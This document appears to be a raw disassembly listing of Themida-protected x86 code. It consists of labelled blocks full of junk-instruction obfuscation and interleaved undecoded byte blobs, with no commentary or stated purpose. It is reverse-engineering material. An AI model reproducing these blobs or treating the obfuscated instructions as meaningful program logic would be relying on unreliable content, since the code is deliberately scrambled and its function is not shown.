loc_59CC66:				; CODE XREF: Themida_:005A3FACj
		pop	esi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A795E
; ---------------------------------------------------------------------------


loc_59CC81:				; CODE XREF: Themida_:loc_5A0E54j
					; Themida_:005A6B9Ej
		add	ebp, 1837740Eh
		jl	loc_598B26
		push	esi
		mov	esi, 74F60100h
		add	esi, 9422A279h
		sub	ebp, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_599261
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 0AB11F51h, 51C18159h, 8B0AB11Fh, 0C4812414h,	4, 76FBBF57h
		dd 0B2055D5Eh, 15C242Dh, 2DB22DF8h, 3C8B5C24h, 4C48324h
		dd 6FFAE9h, 0FF565D00h,	5E042474h, 5C24048Fh, 0E9240489h
		dd 0F963h
; ---------------------------------------------------------------------------


loc_59CCF8:				; CODE XREF: Themida_:0059C96Fj
		add	esp, 4
		add	eax, 77B11052h
		add	eax, 215353F5h
		add	eax, ebx
		sub	eax, 215353F5h
		sub	eax, 77B11052h
		push	ebx
		push	eax
		mov	eax, 4AED6C9Ch
		or	eax, 4A0F54DBh
		jns	loc_5A06F0
		shr	eax, 8
		neg	eax
		jz	loc_5ABBFD
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5AB914
; ---------------------------------------------------------------------------


loc_59CD4F:				; CODE XREF: Themida_:005A516Bj
		add	edx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, 58FD4373h
		add	ebx, edx
		sub	ebx, 58FD4373h
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 0E95AD788h, 118D3h, 4C2835Fh, 31241433h, 14332414h
		dd 24248B24h, 2404A30Fh, 0B5F2E99Ch, 48BFFFFh, 4C48324h
		dd 7D4468h, 240C8900h, 0FFC86FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CDAD:				; CODE XREF: Themida_:005A3997j
		mov	ebp, 3F9B771Ch
		push	ebp
		sub	dword ptr [esp], 1A587E3Bh
		jmp	loc_5A5A84
; ---------------------------------------------------------------------------


loc_59CDBF:				; CODE XREF: Themida_:00598E0Fj
					; Themida_:005A3B5Ej
		jmp	loc_5987E0
; ---------------------------------------------------------------------------


loc_59CDC4:				; CODE XREF: Themida_:005A938Ej
		push	bx
		mov	bl, 0A8h
		add	ch, bl
		pop	bx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, 95h
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		pop	edx
		add	bl, 0B8h
		jmp	loc_59E447
; ---------------------------------------------------------------------------


loc_59CDE4:				; CODE XREF: Themida_:005A19EAj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A0C1D
; ---------------------------------------------------------------------------


loc_59CDF2:				; CODE XREF: Themida_:005A86F1j
		pop	esi
		xor	edx, ebx
		mov	ebx, [esp]
		push	7D16h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_59CE12:				; CODE XREF: Themida_:005A1A87j
					; Themida_:005AB382j
		push	dword ptr [edi+24h]
		jmp	loc_59EED2
; ---------------------------------------------------------------------------


loc_59CE1A:				; CODE XREF: Themida_:0059AA75j
					; Themida_:005A8966j
		mov	esp, [esp]
		jmp	loc_5A18EA
; ---------------------------------------------------------------------------


loc_59CE22:				; CODE XREF: Themida_:005AA2EAj
		pop	esi
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_59E031
; ---------------------------------------------------------------------------


loc_59CE3D:				; CODE XREF: Themida_:0059EBA3j
		add	edx, 62E35A91h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	227h
		jmp	loc_5A20FA
; ---------------------------------------------------------------------------


loc_59CE55:				; CODE XREF: Themida_:loc_59F86Bj
		neg	al
		add	al, 90h
		mov	dl, al
		pop	eax
		jmp	loc_5A04F1
; ---------------------------------------------------------------------------


loc_59CE61:				; CODE XREF: Themida_:005A3009j
		sub	ebp, 32AB1ECCh
		inc	ebp
		push	eax
		jmp	loc_5A7A23
; ---------------------------------------------------------------------------


loc_59CE6E:				; CODE XREF: Themida_:00599DBEj
		shr	edx, 4
		jmp	loc_5AD3ED
; ---------------------------------------------------------------------------


loc_59CE76:				; CODE XREF: Themida_:0059D6B6j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 687434B4h
		dec	ebp
		xor	ebp, 5DEF1F98h
		shr	ebp, 4
		xor	ebp, 3AB546E5h
		shl	ebp, 3
		push	edx
		mov	edx, 67D95AE4h
		inc	edx
		shr	edx, 3
		jmp	loc_5A0537
; ---------------------------------------------------------------------------


loc_59CEA7:				; CODE XREF: Themida_:005AC0B9j
		xchg	edx, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CEB3:				; CODE XREF: Themida_:005A7411j
		push	esi
		push	573Eh
		mov	[esp], edx
		jmp	loc_5AC5D7
; ---------------------------------------------------------------------------


loc_59CEC1:				; CODE XREF: Themida_:005A042Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A9B74
; ---------------------------------------------------------------------------
		dd offset dword_5EEC68
		dd 24048900h, 1079BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59CED9:				; CODE XREF: Themida_:0059AD53j
					; Themida_:005A97FAj
		sub	ebx, eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A0C03
; ---------------------------------------------------------------------------
		db 28h
		dd 2434FFEFh, 0FFB9F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CEF9:				; CODE XREF: Themida_:005ABA04j
		pop	ecx
		jmp	loc_5A3531
; ---------------------------------------------------------------------------


loc_59CEFF:				; CODE XREF: Themida_:005AEE76j
		pop	edx
		add	cl, 43h
		add	cl, 6
		jmp	loc_5A0C28
; ---------------------------------------------------------------------------


loc_59CF0B:				; CODE XREF: Themida_:005ABBEDj
		jmp	loc_5ADC74
; ---------------------------------------------------------------------------


loc_59CF10:				; CODE XREF: Themida_:005AD075j
		add	edi, 49F00616h
		pop	ebx
		sub	esp, 4
		jmp	loc_5AE057
; ---------------------------------------------------------------------------


loc_59CF22:				; CODE XREF: Themida_:005A1B10j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edi
		push	esi
		mov	esi, 1B590C76h
		mov	edi, 1B590C7Ah
		sub	edi, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5AF21F
; ---------------------------------------------------------------------------


loc_59CF68:				; CODE XREF: Themida_:005A9A97j
		push	edi
		mov	edi, esp
		jmp	loc_5AAE24
; ---------------------------------------------------------------------------
		dd 4EC83ADh, 0BB241C89h, 56554945h, 4524E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CF81:				; CODE XREF: Themida_:005AE165j
		add	ebx, 583F9CBFh
		jmp	loc_5AB2BA
; ---------------------------------------------------------------------------
		dd 4EB81h, 1C870000h, 0F26FE924h, 2C590000h, 0F5B252C0h
		dd 2C5AD028h, 4D00009h,	53F50409h, 0D800C0B3h, 83241C8Bh
		dd 8B6604C4h, 0C4812414h, 2, 0A9B75366h, 0C780C7FEh, 0F8DBE93Bh
		dd 77FF0000h, 59669D1Ch, 2414D366h, 0B3AEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CFDE:				; CODE XREF: Themida_:005AC7F6j
		add	esi, edi
		sub	esi, 25AE10B4h
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A1E3C
; ---------------------------------------------------------------------------
		dd 0E9DFF758h, 0FFFFCEDBh
; ---------------------------------------------------------------------------


loc_59D000:				; CODE XREF: Themida_:0059F90Aj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5A38BF
; ---------------------------------------------------------------------------


loc_59D008:				; CODE XREF: Themida_:005A16E4j
		mov	ebp, 35737AA9h
		or	ebp, 28E64716h
		push	esi
		mov	esi, 47C95439h
		push	edx
		mov	edx, 674C0235h
		sub	esi, edx
		jmp	loc_5A4610
; ---------------------------------------------------------------------------


loc_59D026:				; CODE XREF: Themida_:005ABD0Cj
		pop	esp
		push	3A11h
		jmp	loc_59C752
; ---------------------------------------------------------------------------
		db 68h,	96h, 0Bh
		dd 0BAE90000h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D03B:				; CODE XREF: Themida_:005A3A0Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59D040:				; CODE XREF: Themida_:005ACBF7j
		sub	edx, esi
		pop	esi
		sub	edx, 15DA35D2h
		add	edx, edi
		jmp	loc_5A6055
; ---------------------------------------------------------------------------
		dd 240C8B66h, 238468h, 56C9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D05E:				; CODE XREF: Themida_:00599A2Bj
		mov	[esp], ebx
		push	edi
		mov	edi, 0CA95E82h
		push	65A8h
		mov	[esp], edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		inc	ebx
		js	loc_5A16E9
		add	ebx, 40DD013Dh
		jns	loc_5A3AEE
		not	ebx
		xor	ebx, 87C32A4h
		jmp	loc_59DDDF
; ---------------------------------------------------------------------------


loc_59D096:				; CODE XREF: Themida_:005A0C23j
		pop	edi
		neg	edi
		not	edi
		neg	edi
		inc	edi
		push	edx
		push	ebp
		mov	ebp, 2F805AA9h
		jmp	loc_5A15A2
; ---------------------------------------------------------------------------


loc_59D0AA:				; CODE XREF: Themida_:005ABAAFj
		add	cl, 0A4h
		jge	loc_59A001
		add	cl, 2Dh
		mov	dh, cl
		pop	ecx
		add	dh, 5
		jmp	loc_5A6040
; ---------------------------------------------------------------------------


loc_59D0C1:				; CODE XREF: Themida_:005A68F3j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59D0C6:				; CODE XREF: Themida_:0059EC7Ej
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1A01h
		mov	[esp], esi
		push	ecx
		push	4F2A7EDFh
		pop	ecx
		not	ecx
		jmp	loc_5A763E
; ---------------------------------------------------------------------------
		dd 282C681h, 0C6816E9Ch, 64F37A4h, 0EE81C601h, 64F37A4h
		dd 282EE81h, 0D7686E9Ch, 0E9000073h, 0F244h
; ---------------------------------------------------------------------------


loc_59D110:				; CODE XREF: Themida_:005A9B57j
		sub	edx, 2CB11D3Bh
		jmp	loc_5AB20C
; ---------------------------------------------------------------------------


loc_59D11B:				; CODE XREF: Themida_:0059B710j
					; Themida_:0059B88Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A08BE
; ---------------------------------------------------------------------------


loc_59D12C:				; CODE XREF: Themida_:0059DA8Aj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	0BDFh
		mov	[esp], ebx
		mov	ebx, 5F3C533Ch
		xor	ecx, ebx
		jmp	loc_59C783
; ---------------------------------------------------------------------------


loc_59D147:				; CODE XREF: Themida_:005A6ADFj
		sub	edx, esi
		pop	esi
		pop	ebp
		jmp	loc_5A4456
; ---------------------------------------------------------------------------
		dd 0FF5BFC88h, 0E95A2434h, 15FCh
; ---------------------------------------------------------------------------


loc_59D15C:				; CODE XREF: Themida_:0059BEB4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_5A0215
; ---------------------------------------------------------------------------


loc_59D16C:				; CODE XREF: Themida_:005AF49Dj
		dec	ah
		jg	loc_5A1076
		jmp	loc_598FB7
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 74h
		dd 5038616Ch
; ---------------------------------------------------------------------------


loc_59D180:				; CODE XREF: Themida_:005A789Dj
		add	esp, 4
		xor	ecx, 30982E63h
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	ebx
		push	7ACBh
		mov	[esp], ebp
		push	edi
		mov	edi, 6C072A76h
		mov	ebp, 6C072A7Ah
		push	eax
		push	ebx
		mov	ebx, 7F844E17h
		push	eax
		mov	eax, 742A0C2Dh
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A85AF
; ---------------------------------------------------------------------------


loc_59D1D8:				; CODE XREF: Themida_:005AE40Bj
		and	eax, 5900011Ch
		xor	eax, 5906677Ch
		add	edx, 64DD6B49h
		add	edx, eax
		sub	edx, 64DD6B49h
		pop	eax
		add	edx, ebx
		push	12EDh
		mov	[esp], ebp
		mov	ebp, 1806677Ch
		add	edx, 445A7CE5h
		sub	edx, ebp
		sub	edx, 445A7CE5h
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_5A252F
; ---------------------------------------------------------------------------


loc_59D233:				; CODE XREF: Themida_:005AD519j
		add	ah, 35h
		push	dx
		mov	dh, 0E0h
		add	ah, dh
		pop	dx
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		sub	ah, ch
		pop	cx
		xor	bl, ah
		pop	eax
		neg	bl
		jmp	loc_59FA2D
; ---------------------------------------------------------------------------


loc_59D254:				; CODE XREF: Themida_:005AA949j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_5A04F1
; ---------------------------------------------------------------------------


loc_59D261:				; CODE XREF: Themida_:005A6F6Ej
		push	edi
		push	eax
		mov	eax, 7B0E3718h
		neg	eax
		jmp	loc_5A54AD
; ---------------------------------------------------------------------------
		db 81h
		dd 84D652F3h, 8BDD899Ch, 47E9241Ch, 53000113h, 4BBh, 5BD90100h
		dd 4BD55h, 0F2E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D293:				; CODE XREF: Themida_:005A846Dj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59DA25
; ---------------------------------------------------------------------------
a1S0		db '1Ηι)0',0
		db 0
; ---------------------------------------------------------------------------


loc_59D2A3:				; CODE XREF: Themida_:0059AD30j
		sub	dword ptr [esp+4], 55F663FAh
		sub	dword ptr [esp+4], 2AAD4243h
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A2B86
; ---------------------------------------------------------------------------


loc_59D2C8:				; CODE XREF: Themida_:005A9677j
		jmp	loc_59D561
; ---------------------------------------------------------------------------
aAtiaSu6	db '€β¨€κΦΐκ',7,'ιU6',0
		db 0
; ---------------------------------------------------------------------------


loc_59D2DB:				; CODE XREF: Themida_:0059D367j
		pop	esi
		dec	esi
		add	esi, 10290232h
		mov	ebx, esi
		jmp	loc_5A8C78
; ---------------------------------------------------------------------------


loc_59D2EA:				; CODE XREF: Themida_:0059ABBFj
		mov	ecx, 75953CAh
		xor	ecx, 401E7270h
		and	ecx, 4B481CB0h
		and	ecx, 43EC3AC4h
		jmp	loc_5A5AD1
; ---------------------------------------------------------------------------


loc_59D306:				; CODE XREF: Themida_:loc_5A05F4j
		or	ebx, 0EE9230Ch
		jmp	loc_59E74D
; ---------------------------------------------------------------------------
		db 2Ch,	58h, 28h
		dd 0E95804F8h, 0EB97h
; ---------------------------------------------------------------------------


loc_59D31C:				; CODE XREF: Themida_:005A6B92j
		xor	edx, 0EEB1C9E9h
		jmp	loc_5AE5F6
; ---------------------------------------------------------------------------


loc_59D327:				; CODE XREF: Themida_:005A9F47j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59C3D3
; ---------------------------------------------------------------------------


loc_59D34B:				; CODE XREF: Themida_:0059AF9Dj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A0D4E
; ---------------------------------------------------------------------------


loc_59D359:				; CODE XREF: Themida_:005AE109j
		push	7E95h
		mov	[esp], ebx
		push	esi
		push	3DE65E0Bh
		jmp	loc_59D2DB
; ---------------------------------------------------------------------------


loc_59D36C:				; CODE XREF: Themida_:loc_59F1BEj
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		mov	dh, cl
		push	dword ptr [esp]
		jmp	loc_5A3526
; ---------------------------------------------------------------------------


loc_59D37C:				; CODE XREF: Themida_:005A3E9Aj
		mov	ebx, 0F62639Ah
		xor	ebx, 6D31449Ch
		jmp	loc_59ACE7
; ---------------------------------------------------------------------------


loc_59D38C:				; CODE XREF: Themida_:005A135Dj
		xor	ebp, 7C162636h
		jmp	loc_5A804B
; ---------------------------------------------------------------------------


loc_59D397:				; CODE XREF: Themida_:005AD433j
		mov	[esp], edx
		jmp	loc_5AD4F7
; ---------------------------------------------------------------------------


loc_59D39F:				; CODE XREF: Themida_:00599DCDj
		add	bh, 0F2h
		mov	al, bh
		jmp	loc_5A433C
; ---------------------------------------------------------------------------


loc_59D3A9:				; CODE XREF: Themida_:005A698Ej
		xor	ebx, edx
		not	edx
		xchg	edx, ebx
		push	ebx
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	ebx
		add	ebx, 0B6D2A85h
		xor	ebx, 53DE6CF6h
		add	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AB40B
; ---------------------------------------------------------------------------


loc_59D3DB:				; CODE XREF: Themida_:005AA825j
		push	442Ch
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A8B72
; ---------------------------------------------------------------------------


loc_59D3EE:				; CODE XREF: Themida_:005A360Aj
					; Themida_:005A6977j
		or	ebx, ebx
		jnz	loc_59BD83
		push	410Ah
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A11C0
; ---------------------------------------------------------------------------


loc_59D416:				; CODE XREF: Themida_:00599252j
					; Themida_:005A7279j
		push	ecx
		mov	cl, 10h
		and	cl, 0B1h
		xor	cl, 32h
		and	cl, 29h
		dec	cl
		push	eax
		mov	ah, 0E3h
		add	ah, 81h
		xor	ah, 0Ch
		jmp	loc_5A9D57
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 17738B9h, 9639A525h,	0BC800F06h, 2D000101h, 291730EDh
		dd 0B3BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D44D:				; CODE XREF: Themida_:0059B7D7j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 7EB9h
		dd 8132F56Ch, 236CC0F1h, 0BAA1E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D462:				; CODE XREF: Themida_:005A80E2j
		add	ebx, 2EDC52ECh
		jmp	loc_59B4BA
; ---------------------------------------------------------------------------


loc_59D46D:				; CODE XREF: Themida_:0059E48Ej
		mov	ebx, 77834727h
		inc	ebx
		jmp	loc_5AC7FB
; ---------------------------------------------------------------------------


loc_59D478:				; CODE XREF: Themida_:005A5EC8j
		push	6EB6h
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 2EBF6C2Fh
		jmp	loc_5A0A43
; ---------------------------------------------------------------------------


loc_59D48D:				; CODE XREF: Themida_:00598CE8j
		push	edx
		push	4
		pop	edx
		add	eax, 6CB07969h
		add	eax, edx
		sub	eax, 6CB07969h
		pop	edx
		push	edx
		jmp	loc_598BF6
; ---------------------------------------------------------------------------


loc_59D4A7:				; CODE XREF: Themida_:005A41A6j
		push	ebp
		mov	ebp, 66CB61F3h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, eax
		push	ecx
		jmp	loc_59B2D3
; ---------------------------------------------------------------------------


loc_59D4BD:				; CODE XREF: Themida_:005AA907j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFFAEC0h
; ---------------------------------------------------------------------------


loc_59D4CC:				; CODE XREF: Themida_:005AB14Dj
		sub	[edi+24h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		jmp	loc_5AEF6A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4C1h, 240C3300h, 33240C31h, 0E95C240Ch
		dd 0A633h
; ---------------------------------------------------------------------------


loc_59D4F8:				; CODE XREF: Themida_:005A3B20j
		push	edx
		jmp	loc_59F1E6
; ---------------------------------------------------------------------------


loc_59D4FE:				; CODE XREF: Themida_:0059A84Bj
		jmp	loc_5ADBDD
; ---------------------------------------------------------------------------
		db 81h
		dd 0C1042444h, 5B02AB55h, 8324148Bh, 436804C4h,	8900005Ah
		dd 0E955243Ch, 0C17h
; ---------------------------------------------------------------------------


loc_59D520:				; CODE XREF: Themida_:005A8CB3j
		mov	cx, [esp]
		jmp	loc_59EE39
; ---------------------------------------------------------------------------


loc_59D529:				; CODE XREF: Themida_:005A4EABj
		mov	[esp], eax
		jmp	loc_5A5FBB
; ---------------------------------------------------------------------------


loc_59D531:				; CODE XREF: Themida_:005A8C1Aj
		shr	ebp, 6
		dec	ebp
		jmp	loc_5AB0A9
; ---------------------------------------------------------------------------


loc_59D53A:				; CODE XREF: Themida_:005A3ED9j
		shl	edi, 4
		jmp	loc_5AC305
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 74BC05C0h, 0FC01F681h, 5CE930F8h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D553:				; CODE XREF: Themida_:005A7B89j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5AAB7F
; ---------------------------------------------------------------------------


loc_59D561:				; CODE XREF: Themida_:loc_59D2C8j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3246578Eh
		add	edi, 1
		not	edi
		inc	edi
		jmp	loc_5A3142
; ---------------------------------------------------------------------------


loc_59D586:				; CODE XREF: Themida_:loc_59F1B9j
		push	ecx
		mov	ecx, 44A657D8h
		xor	ebx, ecx
		pop	ecx
		and	ebx, 26AE27D9h
		jmp	loc_5AA078
; ---------------------------------------------------------------------------


loc_59D59A:				; CODE XREF: Themida_:005AD0C3j
		push	edx
		mov	edx, 35DAECC9h
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A331E
; ---------------------------------------------------------------------------


loc_59D5AE:				; CODE XREF: Themida_:005AA48Cj
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_5ADE63
; ---------------------------------------------------------------------------


loc_59D5B8:				; CODE XREF: Themida_:005A15C4j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		push	204C7EC5h
		pop	ebp
		shl	ebp, 2
		neg	ebp
		jp	loc_5A3626
		xor	ebp, 7ECE04FCh
		mov	ecx, ebp
		mov	ebp, [esp]
		push	5884h
		jmp	loc_59C681
; ---------------------------------------------------------------------------
		dd offset dword_44B1A4+40C4h
		align 4
		dd 0BA241489h, 77862CEEh, 764CEA81h, 39E94C1Fh,	810000FFh
		dd 13602434h, 535932F4h, 111ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D60D:				; CODE XREF: Themida_:0059FD4Ej
		xchg	ecx, [esp]
		jmp	loc_59B836
; ---------------------------------------------------------------------------


loc_59D615:				; CODE XREF: Themida_:0059B958j
		btr	[esp], ax
		pushf
		jmp	loc_5AB270
; ---------------------------------------------------------------------------
		dd 4C4815Bh, 81000000h,	0FA0659EEh, 81EE014Fh, 0FA0659C6h
		dd 0E1C6814Fh, 0E90BAB2Ah, 10BC0h, 24048B66h, 4EC81h, 5AE90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D64F:				; CODE XREF: Themida_:005A1EFAj
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5AE0BD
; ---------------------------------------------------------------------------


loc_59D66A:				; CODE XREF: Themida_:005ABBBAj
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 0DF4EF206h
		add	ebp, 4E431F80h
		add	ebp, ecx
		sub	ebp, 4E431F80h
		jmp	loc_59B0C3
; ---------------------------------------------------------------------------


loc_59D68C:				; CODE XREF: Themida_:0059EC11j
		xor	edi, 57C37200h
		sub	esi, 6233077Bh
		add	esi, edi
		push	edx
		jmp	loc_5A6BE5
; ---------------------------------------------------------------------------


loc_59D6A0:				; CODE XREF: Themida_:005AB54Bj
		mov	[esp], ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	ebp, [esp]
		push	dword ptr [esp]
		jmp	loc_59CE76
; ---------------------------------------------------------------------------


loc_59D6BB:				; CODE XREF: Themida_:0059A4E9j
		neg	di
		add	di, 5405h
		sub	si, di
		pop	edi
		xor	bp, si
		pop	esi
		and	di, bp
		pop	ebp
		add	di, 37A4h
		xor	di, 1FD3h
		sub	cx, 30EDh
		add	cx, 6181h
		add	cx, di
		sub	cx, 6181h
		add	cx, 30EDh
		pop	edi
		xor	ax, cx
		pop	ecx
		xor	bx, ax
		movzx	eax, ax
		push	5E40h
		mov	[esp], edx
		push	2701h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_59DA9A
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 54243489h,	8124348Bh
		dd 4C4h, 0D5BEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D73A:				; CODE XREF: Themida_:005AF492j
		pop	esp
		jmp	loc_59B17A
; ---------------------------------------------------------------------------


loc_59D740:				; CODE XREF: Themida_:0059EF2Dj
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A5EAE
; ---------------------------------------------------------------------------


loc_59D74C:				; CODE XREF: Themida_:005A623Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5A7682
; ---------------------------------------------------------------------------


loc_59D75C:				; CODE XREF: Themida_:0059FE31j
		inc	esi
		push	ebp
		jmp	loc_59A689
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 24248B24h, 24048B66h, 0FFFDECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D775:				; CODE XREF: Themida_:0059E010j
		push	dword ptr [esp]
		jmp	loc_5AD56F
; ---------------------------------------------------------------------------


loc_59D77D:				; CODE XREF: Themida_:0059C92Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A54A4
; ---------------------------------------------------------------------------


loc_59D78D:				; CODE XREF: Themida_:005A4CEAj
		neg	ebp
		add	ebp, 48A56DFCh
		mov	edi, ebp
		pop	ebp
		jmp	loc_5A4911
; ---------------------------------------------------------------------------


loc_59D79D:				; CODE XREF: Themida_:0059C038j
		mov	edi, 4EB04342h
		jmp	loc_5AF205
; ---------------------------------------------------------------------------


loc_59D7A7:				; CODE XREF: Themida_:005A70E9j
		sub	dl, 22h
		jmp	loc_5A2C40
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C240C87h, 4EC81h, 8F540000h, 4832404h, 48F0424h, 24048324h
		dd 241C8B04h, 4C481h, 42E90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59D7D7:				; CODE XREF: Themida_:005A0568j
		mov	[esp], esi
		push	49A2h
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_5A9016
; ---------------------------------------------------------------------------


loc_59D7F2:				; CODE XREF: Themida_:005AED96j
		sub	bh, 0BDh
		mov	cl, bh
		pop	ebx
		jmp	loc_5A0C82
; ---------------------------------------------------------------------------


loc_59D7FD:				; CODE XREF: Themida_:005AD2A4j
		xor	cl, 0C4h
		add	bl, cl
		pop	ecx
		sub	bl, 0A7h
		add	bl, 0C5h
		jmp	loc_5A873E
; ---------------------------------------------------------------------------


loc_59D80E:				; CODE XREF: Themida_:005AAE4Cj
		add	dl, 5
		mov	ch, dl
		jmp	loc_5AB49A
; ---------------------------------------------------------------------------


loc_59D818:				; CODE XREF: Themida_:005AD0F8j
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A5302
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 766F87C3h, 81F32916h, 766F87EBh, 24348B16h, 5804C483h
		dd 31241C33h, 1C33241Ch, 176EE924h, 0FB010001h,	71D7685Fh
		dd 0C890000h, 8AE95324h, 56000011h, 0DD195FBEh,	7F6DBD5Ch
		dd 0F5296E9Ch, 0B06BE9h, 98C38100h, 18C8BD3h, 241C8BDEh
		dd 4C481h, 0F4E90000h
